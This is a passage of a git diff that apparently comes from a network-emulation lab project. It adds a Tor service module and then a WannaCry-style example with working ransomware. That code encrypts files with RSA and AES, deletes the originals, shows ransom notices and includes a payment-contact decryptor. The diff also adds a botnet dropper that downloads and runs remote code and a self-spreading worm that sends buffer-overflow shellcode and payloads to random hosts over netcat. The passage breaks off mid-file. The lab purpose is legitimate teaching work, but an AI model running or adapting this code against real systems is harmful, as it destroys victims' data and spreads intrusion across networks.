the container and start one, or better yet, point to another docker + # container on the network by setting the TOR_HS_ADDR to its IP + echo "Setting role to HIDDENSERVICE" + echo -e "HiddenServiceDir ${{TOR_DIR}}/${{TOR_NICKNAME}}/hs" >> /etc/tor/torrc + if [ -z "${{TOR_HS_PORT_1}}" ]; then + TOR_HS_PORT=80 + fi + if [ -z "${{TOR_HS_ADDR}}" ]; then + TOR_HS_ADDR=127.0.0.1 + fi + echo -e "HiddenServicePort ${{TOR_HS_PORT_1}} ${{TOR_HS_ADDR}}:${{TOR_HS_PORT_1}}" >> /etc/tor/torrc + if [ ! -z "${{TOR_HS_PORT_2}}" ]; then + echo -e "HiddenServicePort ${{TOR_HS_PORT_2}} ${{TOR_HS_ADDR}}:${{TOR_HS_PORT_2}}" >> /etc/tor/torrc + fi + if [ ! -z "${{TOR_HS_PORT_3}}" ]; then + echo -e "HiddenServicePort ${{TOR_HS_PORT_3}} ${{TOR_HS_ADDR}}:${{TOR_HS_PORT_3}}" >> /etc/tor/torrc + fi + if [ ! -z "${{TOR_HS_PORT_4}}" ]; then + echo -e "HiddenServicePort ${{TOR_HS_PORT_4}} ${{TOR_HS_ADDR}}:${{TOR_HS_PORT_4}}" >> /etc/tor/torrc + fi + ;; + *) + echo "Role variable missing" + exit 1 + ;; + esac + + # Buffer to let the directory authority list be built + sleep $FUDGE + #cat ${{TOR_DIR}}/torrc.da >> /etc/tor/torrc + {downloader} + +fi + +echo -e "\n========================================================" +# display Tor version & torrc in log +tor --version +cat /etc/tor/torrc +echo -e "========================================================\n" + +# else default to run whatever the user wanted like "bash" +exec "$@" +''' + +#Used for download DA fingerprints from DA servers. +TorServerFileTemplates["downloader"] = """ + until $(curl --output /dev/null --silent --head --fail http://{da_addr}:8888); do + echo "DA server not ready" + sleep 3 + done + sleep 3 + FINGERPRINT=$(curl -s {da_addr}:8888/torrc.da) + + while ! echo $FINGERPRINT | grep DirAuthority + do + echo " fingerprint not ready" + sleep 2 + done + echo "fingerprint ready" + echo $FINGERPRINT >> /etc/tor/torrc +""" + +BUILD_COMMANDS = """build_temps="build-essential automake" && \ + build_deps="libssl-dev zlib1g-dev libevent-dev ca-certificates\ + dh-apparmor libseccomp-dev dh-systemd \ + git" && \ + DEBIAN_FRONTEND=noninteractive apt-get -y --no-install-recommends install $build_deps $build_temps \ + init-system-helpers \ + pwgen && \ + mkdir /src && \ + cd /src && \ + git clone https://git.torproject.org/tor.git && \ + cd tor && \ + git checkout ${TOR_VER} && \ + ./autogen.sh && \ + ./configure --disable-asciidoc && \ + make && \ + make install && \ + apt-get -y purge --auto-remove $build_temps && \ + apt-get clean && rm -r /var/lib/apt/lists/* && \ + rm -rf /src/* +""" + + +class TorNodeType(Enum): + """! + @brief Tor node types. + """ + + ## directory authority + DA = "DA" + + ## non-exit relay + RELAY = "RELAY" + + ## exit relay + EXIT = "EXIT" + + ## client + CLIENT = "CLIENT" + + ## hidden service + HS = "HS" + + +class TorServer(Server): + """! + @brief The Tor server. + """ + + __role: TorNodeType + __hs_link: Set + + def __init__(self): + """! + @brief TorServer constructor. + """ + self.__role = TorNodeType.RELAY.value + self.__hs_link = () + + def setRole(self, role: TorNodeType) -> TorServer: + """! + @brief User need to set a role of tor server, by default, it's relay node. + + @param role specify what type of role in this tor server + + @returns self, for chaining API calls. + """ + self.__role = role.value + + return self + + def getRole(self) -> str: + """! + @brief Get role info of this tor server. + + @returns role. + """ + return self.__role + + def getLink(self) -> str: + """! + @brief Get the link of HS server, only HS role node has this feature. + + @returns hidden service dest. + """ + return self.__hs_link + + def setLink(self, addr: str, port: list(int)) -> TorServer: + """! + @brief set IP link of HS server, only be invoked by __resolveHSLink() + + @param addr address + @param port port. + + @returns self, for chaining API calls. + """ + self.__hs_link = (addr, port) + + return self + + def linkByVnode(self, vname: str, port: list(int)) -> TorServer: + """! + @brief set Vnode link of HS server. + + If a tor server is HS role, it's able to link to another virtual node + as an onion service. In /tor/HS[random]/hs/hostname file at HS node, it + contains the onion address name. + + @param vname virtual node name. + @param port port. + + @returns self, for chaining API calls. + """ + assert self.getRole() == "HS", "linkByVnode(): only HS type node can bind a host." + assert len(self.__hs_link) == 0, "linkByVnode(): TorServer already has linked a host." + assert len(port) <= 4, "linkByVnode(): TorServer can have at most 3 ports. " + + self.__hs_link = (vname, port) + + return self + + + def configure(self, node: Node, tor: 'TorService'): + """! + @brief configure TorServer node + + @param node target node. + @param tor tor service. + """ + ifaces = node.getInterfaces() + assert len(ifaces) > 0, 'TorNode configure(): node has not interfaces' + addr = ifaces[0].getAddress() + + if self.getRole() == "DA": + # Save DA address in tor service, other type of node will download fingerprint from these DA. + tor.addDirAuthority(addr) + + if self.getRole() == "HS" and len(self.getLink()) != 0: + # take out link in HS server and set it to env variable, they would mapping to tor config file. + addr, port = self.getLink() + node.appendStartCommand("export TOR_HS_ADDR={}".format(addr)) + if type(port) is list : + for i in range(len(port)): + node.appendStartCommand("export TOR_HS_PORT_{}={}".format(i+1, port[i])) + else: + node.appendStartCommand("export TOR_HS_PORT_1={}".format(port)) + + def install(self, node: Node, tor: 'TorService'): + """! + @brief Tor server installation step. + + @param node target node. + @param tor tor service. + """ + ifaces = node.getInterfaces() + assert len(ifaces) > 0, 'node has not interfaces' + addr = ifaces[0].getAddress() + download_commands = "" + for dir in tor.getDirAuthority(): + download_commands += TorServerFileTemplates["downloader"].format(da_addr=dir) + + node.addSoftware("git python3") + node.addBuildCommand(BUILD_COMMANDS) + + node.setFile("/etc/tor/torrc", TorServerFileTemplates["torrc"]) + node.setFile("/etc/tor/torrc.da", TorServerFileTemplates["torrc.da"]) + node.setFile("/usr/local/bin/da_fingerprint", TorServerFileTemplates["da_fingerprint"]) + node.setFile("/usr/local/bin/tor-entrypoint", TorServerFileTemplates["tor-entrypoint"].format(TOR_IP=addr, downloader = download_commands)) + + node.appendStartCommand("export TOR_ORPORT=7000") + node.appendStartCommand("export TOR_DIRPORT=9030") + node.appendStartCommand("export TOR_DIR=/tor") + node.appendStartCommand("export ROLE={}".format(self.__role)) + node.appendStartCommand("chmod +x /usr/local/bin/tor-entrypoint /usr/local/bin/da_fingerprint") + node.appendStartCommand("mkdir /tor") + + # If node role is DA, launch a python webserver for other node to download fingerprints. + if self.getRole() == "DA": + node.appendStartCommand("python3 -m http.server 8888 -d /tor", True) + + node.appendStartCommand("tor-entrypoint") + node.appendStartCommand("tor -f /etc/tor/torrc") + + def print(self, indent: int) -> str: + out = ' ' * indent + out += 'TorServer' + + return out + +class TorService(Service): + """! + @brief The Tor network service. + """ + + def __init__(self): + super().__init__() + self.__da_nodes = [] + + def getName(self): + return 'TorService' + + def _doConfigure(self, node: Node, server: TorServer): + server.configure(node, self) + + def addDirAuthority(self, addr: str) -> TorService: + """! + @brief add DA. + + @param addr address of DA. + + @returns self, for chaining API calls. + """ + self.__da_nodes.append(addr) + + return self + + def getDirAuthority(self) -> List[str]: + """! + @brief get DAs. + + @returns list of DA addresses. + """ + + return self.__da_nodes + + def __resolveHSLink(self, emulator: Emulator): + """! + @brief Transfer vnode link to physical node IP address. + + """ + for server in self.getPendingTargets().values(): + if server.getRole() == "HS" and len(server.getLink()) != 0: + vname, port = server.getLink() + pnode = emulator.resolvVnode(vname) + ifaces = pnode.getInterfaces() + assert len(ifaces) > 0, '__resolveHSLink(): node as{}/{} has no interfaces'.format(pnode.getAsn(), pnode.getName()) + addr = ifaces[0].getAddress() + server.setLink(addr, port) + + def configure(self, emulator: Emulator): + self.__resolveHSLink(emulator) + return super().configure(emulator) + + def _doInstall(self, node: Node, server: TorServer): + server.install(node, self) + + def _createServer(self) -> Server: + return TorServer() \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/attack-codes/gen_master_key.py b/examples/not-ready-examples/25-wannacry/attack-codes/gen_master_key.py new file mode 100644 index 000000000..41ba63567 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/attack-codes/gen_master_key.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python3 +# encoding :utf-8 + +from mal.RansomUtil import Encryption + +enc = Encryption() +enc.saveMasterKey() diff --git a/examples/not-ready-examples/25-wannacry/attack-codes/mal/RansomUtil.py b/examples/not-ready-examples/25-wannacry/attack-codes/mal/RansomUtil.py new file mode 100644 index 000000000..60dab737b --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/attack-codes/mal/RansomUtil.py @@ -0,0 +1,277 @@ +#!/usr/bin/env python3 +# encoding :utf-8 + +from __future__ import annotations + +from Crypto.Cipher import AES +from Crypto.PublicKey import RSA +from Crypto.Util.Padding import unpad, pad +from Crypto.Random import get_random_bytes +from Crypto.Cipher import AES, PKCS1_OAEP +import glob +import subprocess +import os +import time + +class Encryption: + '''! + @brief Encryption Class + ''' + + __target_folder: str = "/tmp/tmp" + __target_file_exts: list[str] = ["txt"] + __encrypted_file_signature: bytes = b'WANAKRY!' + __encrypted_file_extension: str = "wncry" + __fs_len: int = 8 + __master_pri_key: bytes + __master_pub_key: bytes + + def setEncFileSig(self, encrypted_file_signature:str): + self.__encrypted_file_signature = bytes(encrypted_file_signature+' ', 'utf-8') + self.__fs_len = len(self.__encrypted_file_signature) + return self + + def setTargetFolder(self, target_folder:str): + self.__target_folder = target_folder + return self + + def addTargetFileExt(self, file_ext:str): + self.__target_file_exts.append(file_ext) + return self + + def setEncFileExt(self, encrypted_file_extension:str): + self.__encrypted_file_extension = encrypted_file_extension + return self + + + def saveMasterKey(self): + priv_key, pub_key = self._generateRSAKey() + + self._saveFile("master_pub_key", pub_key) + self._saveFile("master_priv_key", priv_key) + + def encryptFiles(self, master_pub_key_path: str): + master_pub_key = self._readFile(master_pub_key_path) + assert len(master_pub_key) > 0, "master_pub_key is empty" + + if master_pub_key: + self.__master_pub_key = master_pub_key + + #create keypairs per victim + priv_key, pub_key = self._generateRSAKey() + enc_pri_key = self._RSAEncrypt(self.__master_pub_key, priv_key) + self._saveFile("enc_priv_key",enc_pri_key) + + files = self._getTargetFiles(self.__target_file_exts) + + for file in files: + if (not self._isEncrypted(file)): + key, iv, enc_file = self._AESEncrypt(file) + enc_key = self._RSAEncrypt(pub_key, key) + content = enc_key + iv + enc_file + new_file_name = file + "." + self.__encrypted_file_extension + self._saveFile(new_file_name,self.__encrypted_file_signature+content) + os.remove(file) + + + def decryptFiles(self, master_pri_key_path:str, enc_pri_key_path:str): + master_pri_key = self._readFile(master_pri_key_path) + assert master_pri_key != None, "master_pri_key is needed to decryptFiles" + + assert enc_pri_key_path != None, "enc_pri_key_path is needed to decryptFiles" + + enc_pri_key = self._readFile(enc_pri_key_path) + pri_key = self._RSADecrypt(master_pri_key, enc_pri_key) + + files = self._getTargetFiles([self.__encrypted_file_extension]) + + for file in files: + if (self._isEncrypted): + file_sig, enc_key, iv, enc_file = self._readEncFile(file) + key = self._RSADecrypt(pri_key, enc_key) + content = self._AESDecrypt(key, iv, enc_file) + + new_file_name = file[:file.find(self.__encrypted_file_extension)-1] + self._saveFile(new_file_name, content) + os.remove(file) + + + def _getTargetFiles(self, target_exts): + files = [] + for ext in target_exts: + pattern = self.__target_folder + "/**/*." + ext + files.extend(glob.glob(pattern, recursive=True)) + return files + + + def _AESEncrypt(self, fileName:str): + file = self._readFile(fileName) + key = get_random_bytes(16) + + cipher = AES.new(key, AES.MODE_CBC) + enc_file = cipher.encrypt(pad(file, AES.block_size)) + + + return key, cipher.iv, enc_file + + def _AESDecrypt(self, key:bytes, iv:bytes, enc_bytes:bytes) -> bytes: + cipher = AES.new(key, AES.MODE_CBC, iv) + dec_bytes = unpad(cipher.decrypt(enc_bytes), AES.block_size) + return dec_bytes + + +############## RSA Implementation ############## + + def _generateRSAKey(self) : + key = RSA.generate(2048) + priv_key = key.export_key() + pub_key = key.publickey().export_key() + + return priv_key, pub_key + + def _RSAEncrypt(self, pub_key:bytes, plain:bytes) -> bytes: + import_pub_key = RSA.import_key(pub_key) + cipher_rsa = PKCS1_OAEP.new(import_pub_key) + plain_blocks = [plain[i:i+190] for i in range(0, len(plain), 190)] + enc = b'' + + for plain_block in plain_blocks: + enc_block = cipher_rsa.encrypt(plain_block) + enc += enc_block + return enc + + def _RSADecrypt(self, pri_key:bytes, ct:bytes) -> bytes: + ct_blocks = [ct[i:i+256] for i in range(0, len(ct), 256)] + pt = b'' + import_pri_key = RSA.import_key(pri_key) + cipher_rsa = PKCS1_OAEP.new(import_pri_key) + + for ct_block in ct_blocks: + pt_block = cipher_rsa.decrypt(ct_block) + pt += pt_block + + return pt + +############## RSA Implementation Ends ############## + + def _readFile(self, fileName:str) -> bytes: + fd = open(fileName, "rb") + content = fd.read() + fd.close() + return content + + def _readEncFile(self, fileName:str): + fs = open(fileName, "rb") + file_sig = fs.read(self.__fs_len) + key = fs.read(256) + iv = fs.read(16) + content = fs.read() + return file_sig, key, iv, content + + + def _isEncrypted(self, fileName:str) -> bool: + file = self._readFile(fileName) + if(file[:self.__fs_len]==self.__encrypted_file_signature): + return True + else: + return False + + + def _saveFile(self, fileName:str, content:bytes): + file = open(fileName, "wb") + file.write(content) + file.close() + + + + +class Notification(): + __msg : str + + def __init__(self, msg:str = "you are hacked"): + self.__msg = msg + + def setMsg(self, msg:str): + self.__msg = msg + + def _getPTSList(self): + result = subprocess.run(["ls", "/dev/pts"], capture_output=True) + pts_list = result.stdout.decode('utf-8').split() + #print(pts_list) + return pts_list + + def notify(self, interval: int = 2, repeat_num: int = 10): + for i in range(repeat_num): + pts_list = self._getPTSList() + for pts in pts_list: + if pts != "ptmx": + with open('/dev/pts/'+pts, 'w') as output: + subprocess.Popen(["echo", self.__msg], stdout=output) + time.sleep(interval) + + def fork(self, func: notify, args: list): + pid = os.fork() + if pid == 0: + if len(args)==0: + func() + else: + func(args[0],args[1]) + os._exit(0) + +class BotClient(): + BotClientFileTemplates: dict[str, str] = {} + + BotClientFileTemplates['client_dropper_runner_tor'] = '''\\ + #!/bin/bash + url="http://$1:$2/clients/droppers/client.py" + until curl -sHf --socks5-hostname $3:$4 "$url" -o client.py > /dev/null; do { + echo "botnet-client: server $1:$2 not ready, waiting..." + sleep 1 + }; done + echo "botnet-client: server ready!" + python3 client.py & + ''' + + BotClientFileTemplates['client_dropper_runner_default'] = '''\\ + #!/bin/bash + url="http://$1:$2/clients/droppers/client.py" + until curl -sHf "$url" -o client.py > /dev/null; do { + echo "botnet-client: server $1:$2 not ready, waiting..." + sleep 1 + }; done + echo "botnet-client: server ready!" + python3 client.py & + ''' + + __hs_addr:str + __hs_port:str + __proxy_addr:str + __proxy_addr:str + __supports_tor:bool = False + + def __init__(self, hs_addr:str, hs_port:str): + self.__hs_addr = hs_addr + self.__hs_port = hs_port + + def enableTor(self, proxy_addr:str, proxy_port:str): + self.__supports_tor = True + + if self.__supports_tor: + self.__proxy_addr = proxy_addr + self.__proxy_port = proxy_port + + def _saveFile(self, fileName:str, content:str): + file = open(fileName, "w") + file.write(content) + file.close() + + def save_and_run_dropper_runner(self): + if self.__supports_tor: + self._saveFile("/tmp/byob_client_dropper_runner", self.BotClientFileTemplates['client_dropper_runner_tor']) + subprocess.run(["chmod", "+x", "/tmp/byob_client_dropper_runner"]) + subprocess.run(["/bin/bash", "/tmp/byob_client_dropper_runner", self.__hs_addr, self.__hs_port, self.__proxy_addr, self.__proxy_port]) + else: + self._saveFile("/tmp/byob_client_dropper_runner", self.BotClientFileTemplates['client_dropper_runner_default']) + subprocess.run(["chmod", "+x", "/tmp/byob_client_dropper_runner"]) + subprocess.run(["/bin/bash", "/tmp/byob_client_dropper_runner", self.__hs_addr, self.__hs_port]) + \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/attack-codes/mal/decryptor.py b/examples/not-ready-examples/25-wannacry/attack-codes/mal/decryptor.py new file mode 100644 index 000000000..92a1ed142 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/attack-codes/mal/decryptor.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +# encoding :utf-8 + +from RansomUtil import Encryption +import argparse +import subprocess +import socket + +def tor_contact(msg:str): + proxy_ip = "10.154.0.73" # (4) need to change + hidden_service_ip = "2hnsi6uuzr4jjasestpmahhfdehsrbvvv6zfc6gxaqpnsosjbdpnyqyd.onion" # (5) need to change + victim_ip = socket.gethostbyname(socket.gethostname()) + msg = '\nFrom :' + victim_ip + '\nMsg : ' + msg + '\n' + subprocess.run(f'echo "{msg}" | nc -w3 -X 5 -x {proxy_ip}:9050 {hidden_service_ip} 445', shell=True) + +def contact(msg:str): + victim_ip = socket.gethostbyname(socket.gethostname()) + msg = '\nFrom :' + victim_ip + '\nMsg : ' + msg + '\n' + subprocess.run(f'echo "{msg}" | nc -w3 10.170.0.99 445', shell=True) + + +def decrypt(priv_key:str): + dec = Encryption() + #if customized FileExt, FileSig, and TargetDir when encrypt files, + #customization is also needed when decrypt files + + #dec.setEncFileExt('won') # ......... (1) + #dec.setEncFileSig('WON!') # ......... (2) + #dec.setTargetFolder('/tmp/tmp') # .....(3) + + #When you lauch attack remotely, set key path to "../enc_priv_key" + dec.decryptFiles(priv_key, enc_pri_key_path="../enc_priv_key") + +parser = argparse.ArgumentParser(prog='decryptor.py') +parser.add_argument('action', choices=['contact', 'decrypt', 'payment_confirm']) + +args = parser.parse_args() +if args.action == 'contact': + msg = input('msg to send: ') + #tor_contact(msg) #............(6) + contact(msg) + exit(0) +elif args.action == 'payment_confirm': + trxId = input('input your transactionId: ') + msg = 'trxId : ' + trxId + #tor_contact(msg) #............(7) + contact(msg) + exit(0) +elif args.action == 'decrypt': + key_path = input('decrypt key path: ') + decrypt(key_path) + exit(0) + diff --git a/examples/not-ready-examples/25-wannacry/attack-codes/mal/ransomware.py b/examples/not-ready-examples/25-wannacry/attack-codes/mal/ransomware.py new file mode 100644 index 000000000..1a2e73024 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/attack-codes/mal/ransomware.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +# encoding :utf-8 + +from RansomUtil import Encryption +from RansomUtil import Notification +from RansomUtil import BotClient +import subprocess + +########################################### +# Encrypt Part +enc = Encryption() + +# default enc_file_ext = wncry +# default enc_file_sig = WANAKRY! +# default enc_file_exts = ['txt'] +# default target folder = '/tmp/tmp' + +# enc.setEncFileExt('won') # ................ (1) +# enc.setEncFileSig('WON!') # ............... (2) +# enc.addTargetFileExt('pdf')# .............. (3) +# enc.setTargetFolder('/tmp/tmp') # ......... (4) + +# input master_pub_key's path +# when attacking remote, please change the path to ./mal/master_pub_key +enc.encryptFiles("./mal/master_pub_key") # ...... (5) + +########################################## +# Notification Part + +noti = Notification() +#default msg : you are hacked +#default interval : 2 sec +#default repeat_num : 10 times + +#noti.setMsg("") # ................................... (6) +#noti.fork(noti.notify,[interval, repeat_num]) # ..... (7) +noti.fork(noti.notify, []) # ......................... (8) + diff --git a/examples/not-ready-examples/25-wannacry/attack-codes/mal/worm.py b/examples/not-ready-examples/25-wannacry/attack-codes/mal/worm.py new file mode 100644 index 000000000..df10eb74c --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/attack-codes/mal/worm.py @@ -0,0 +1,125 @@ +#!/bin/env python3 +import sys +import os +import time +import subprocess +from random import randint + +# You can use this shellcode to run any command you want +shellcode= ( + "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88" + "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d" + "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf" + "\xff\xff\xff" + "AAAABBBBCCCCDDDD" + "/bin/bash*" + "-c*" + # You can put your commands in the following three lines. + # Separating the commands using semicolons. + # Make sure you don't change the length of each line. + # The * in the 3rd line will be replaced by a binary zero. + " echo 'Shellcode is running'; nc -nlv 7070 >master_priv_key&" + " nc -lnv 8080 > mal.zip; nc -nvlk 5555& unzip mal.zip; " + " python3 ./mal/worm.py& python3 ./mal/ransomware.py& *" + "123456789012345678901234567890123456789012345678901234567890" + # The last line (above) serves as a ruler, it is not used +).encode('latin-1') + + +# Create the badfile (the malicious payload) +def createBadfile(): + content = bytearray(0x90 for i in range(500)) + ################################################################## + # Put the shellcode at the end + content[500-len(shellcode):] = shellcode + + ret = 0xffffd614 # Need to change + offset = 116 # Need to change + + content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') + ################################################################## + + # Save the binary code to file + with open('badfile', 'wb') as f: + f.write(content) + +def isAttacked(ipaddr:str): + process = subprocess.run(f"nc -w3 {ipaddr} 5555", shell=True, capture_output=True) + result = process.returncode + if result == 0: + return True + else: + return False + +def checkKillSwitch(): + domain = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" + process = subprocess.run(f"ping -q -c1 -W1 {domain}", shell=True, capture_output=True) + result = process.returncode + if result != 2: + print(f"KillSwitch is enabled", flush = True) + return True + else: + print(f"KillSwitch is disabled", flush = True) + return False + +# Find the next victim (return an IP address). +# Check to make sure that the target is alive. +def getNextTarget(): + while True: + ip = ["10", str(randint(150, 171)), "0", str(randint(70, 75))] + ipaddr = ".".join(ip) + process = subprocess.run(f"nc -w3 {ipaddr} 9090", shell=True, capture_output=True) + result = process.returncode + + if result != 0: + print(f"{ipaddr}:9090 is not alive", flush = True) + continue + else: + print(f"***{ipaddr}:9090 is alive", flush=True) + if isAttacked(ipaddr): + print(f"***{ipaddr}:9090 is attacked already", flush=True) + continue + else: + print(f"***{ipaddr}:9090 is not attacked yet, launch the attack", flush=True) + return ipaddr + + +############################################################### + +print("The worm has arrived on this host ^_^", flush=True) + +# This is for visualization. It sends an ICMP echo message to +# a non-existing machine every 2 seconds. +subprocess.Popen(["ping -q -i2 1.2.3.4"], shell=True) + +# This is for checking KillSwitch Domain +print(f"***************************************", flush=True) +print(f">>>>> Checking KillSwitch Domain <<<<<", flush=True) +print(f"***************************************", flush=True) +if checkKillSwitch(): + print(f">>>>> Attack Terminated <<<<<", flush=True) + exit(0) + +# Create the badfile +createBadfile() + +# Launch the attack on other servers +while True: + targetIP = getNextTarget() + + # Send the malicious payload to the target host + print(f"**********************************", flush=True) + print(f">>>>> Attacking {targetIP} <<<<<", flush=True) + print(f"**********************************", flush=True) + + subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], shell=True) + subprocess.run([f"cat mal.zip | nc -w5 {targetIP} 8080"], shell=True) + # Give the shellcode some time to run on the target host + time.sleep(1) + + + # Sleep for 10 seconds before attacking another host + time.sleep(10) + + # Remove this line if you want to continue attacking others + exit(0) diff --git a/examples/not-ready-examples/25-wannacry/attack-codes/worm.py b/examples/not-ready-examples/25-wannacry/attack-codes/worm.py new file mode 100644 index 000000000..df10eb74c --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/attack-codes/worm.py @@ -0,0 +1,125 @@ +#!/bin/env python3 +import sys +import os +import time +import subprocess +from random import randint + +# You can use this shellcode to run any command you want +shellcode= ( + "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88" + "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d" + "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf" + "\xff\xff\xff" + "AAAABBBBCCCCDDDD" + "/bin/bash*" + "-c*" + # You can put your commands in the following three lines. + # Separating the commands using semicolons. + # Make sure you don't change the length of each line. + # The * in the 3rd line will be replaced by a binary zero. + " echo 'Shellcode is running'; nc -nlv 7070 >master_priv_key&" + " nc -lnv 8080 > mal.zip; nc -nvlk 5555& unzip mal.zip; " + " python3 ./mal/worm.py& python3 ./mal/ransomware.py& *" + "123456789012345678901234567890123456789012345678901234567890" + # The last line (above) serves as a ruler, it is not used +).encode('latin-1') + + +# Create the badfile (the malicious payload) +def createBadfile(): + content = bytearray(0x90 for i in range(500)) + ################################################################## + # Put the shellcode at the end + content[500-len(shellcode):] = shellcode + + ret = 0xffffd614 # Need to change + offset = 116 # Need to change + + content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') + ################################################################## + + # Save the binary code to file + with open('badfile', 'wb') as f: + f.write(content) + +def isAttacked(ipaddr:str): + process = subprocess.run(f"nc -w3 {ipaddr} 5555", shell=True, capture_output=True) + result = process.returncode + if result == 0: + return True + else: + return False + +def checkKillSwitch(): + domain = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" + process = subprocess.run(f"ping -q -c1 -W1 {domain}", shell=True, capture_output=True) + result = process.returncode + if result != 2: + print(f"KillSwitch is enabled", flush = True) + return True + else: + print(f"KillSwitch is disabled", flush = True) + return False + +# Find the next victim (return an IP address). +# Check to make sure that the target is alive. +def getNextTarget(): + while True: + ip = ["10", str(randint(150, 171)), "0", str(randint(70, 75))] + ipaddr = ".".join(ip) + process = subprocess.run(f"nc -w3 {ipaddr} 9090", shell=True, capture_output=True) + result = process.returncode + + if result != 0: + print(f"{ipaddr}:9090 is not alive", flush = True) + continue + else: + print(f"***{ipaddr}:9090 is alive", flush=True) + if isAttacked(ipaddr): + print(f"***{ipaddr}:9090 is attacked already", flush=True) + continue + else: + print(f"***{ipaddr}:9090 is not attacked yet, launch the attack", flush=True) + return ipaddr + + +############################################################### + +print("The worm has arrived on this host ^_^", flush=True) + +# This is for visualization. It sends an ICMP echo message to +# a non-existing machine every 2 seconds. +subprocess.Popen(["ping -q -i2 1.2.3.4"], shell=True) + +# This is for checking KillSwitch Domain +print(f"***************************************", flush=True) +print(f">>>>> Checking KillSwitch Domain <<<<<", flush=True) +print(f"***************************************", flush=True) +if checkKillSwitch(): + print(f">>>>> Attack Terminated <<<<<", flush=True) + exit(0) + +# Create the badfile +createBadfile() + +# Launch the attack on other servers +while True: + targetIP = getNextTarget() + + # Send the malicious payload to the target host + print(f"**********************************", flush=True) + print(f">>>>> Attacking {targetIP} <<<<<", flush=True) + print(f"**********************************", flush=True) + + subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], shell=True) + subprocess.run([f"cat mal.zip | nc -w5 {targetIP} 8080"], shell=True) + # Give the shellcode some time to run on the target host + time.sleep(1) + + + # Sleep for 10 seconds before attacking another host + time.sleep(10) + + # Remove this line if you want to continue attacking others + exit(0) diff --git a/examples/not-ready-examples/25-wannacry/container_files/README.md b/examples/not-ready-examples/25-wannacry/container_files/README.md new file mode 100644 index 000000000..3a582cc5b --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/container_files/README.md @@ -0,0 +1,25 @@ +# Note + +## The base container + +Removed the zsh from the `Dockerfile`, as it causes the +problem in the BOF attack (still haven't figured out why). +Also change the `FROM` entry to use our customized Ubuntu image. + + +## Containers for nodes + +The files in the `base` folder will be used to replace the +`dummies` folder. This is the base image for all the containers. +The other container's `Dockerfile` has only the following content: + +``` +FROM cfee3a34e9c68ac1d16035a81a926786 + +CMD ["/start.sh"] +``` + +## The server folder + +This folder contains the server code (source code). The binary +code is already copied to the `morris-worm-base` folder. diff --git a/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/Dockerfile b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/Dockerfile new file mode 100644 index 000000000..eb2124f19 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/Dockerfile @@ -0,0 +1,8 @@ +FROM handsonsecurity/seed-ubuntu:large +ARG DEBIAN_FRONTEND=noninteractive + +COPY server /bof/server +COPY stack /bof/stack +RUN chmod +x /bof/server +RUN chmod +x /bof/stack + diff --git a/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/server b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/server new file mode 100644 index 000000000..600b81186 Binary files /dev/null and b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/server differ diff --git a/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/stack b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/stack new file mode 100644 index 000000000..ea1f044eb Binary files /dev/null and b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/stack differ diff --git a/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/start.sh b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/start.sh new file mode 100644 index 000000000..6478de40f --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/container_files/morris-worm-base/start.sh @@ -0,0 +1,8 @@ +#!/bin/bash +chmod +x /interface_setup +/interface_setup + +echo "ready! run 'docker exec -it $HOSTNAME /bin/bash' to attach to this node" >&2 +for f in /proc/sys/net/ipv4/conf/*/rp_filter; do echo 0 > "$f"; done +cd /bof && ./server + diff --git a/examples/not-ready-examples/25-wannacry/container_files/server/Makefile b/examples/not-ready-examples/25-wannacry/container_files/server/Makefile new file mode 100644 index 000000000..7a029ecea --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/container_files/server/Makefile @@ -0,0 +1,21 @@ +FLAGS = -z execstack -fno-stack-protector +FLAGS_32 = -static -m32 +TARGET = server stack + +L1 = 100 + +all: $(TARGET) + +server: server.c + gcc -o server server.c + +stack: stack.c + gcc -DBUF_SIZE=$(L1) -DSHOW_FP $(FLAGS) $(FLAGS_32) -o $@ stack.c + +clean: + rm -f badfile $(TARGET) + +install: + cp server ../morris-worm-base + cp stack ../morris-worm-base + diff --git a/examples/not-ready-examples/25-wannacry/container_files/server/server.c b/examples/not-ready-examples/25-wannacry/container_files/server/server.c new file mode 100644 index 000000000..add240c06 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/container_files/server/server.c @@ -0,0 +1,139 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PROGRAM "stack" +#define PORT 9090 + +int socket_bind(int port); +int server_accept(int 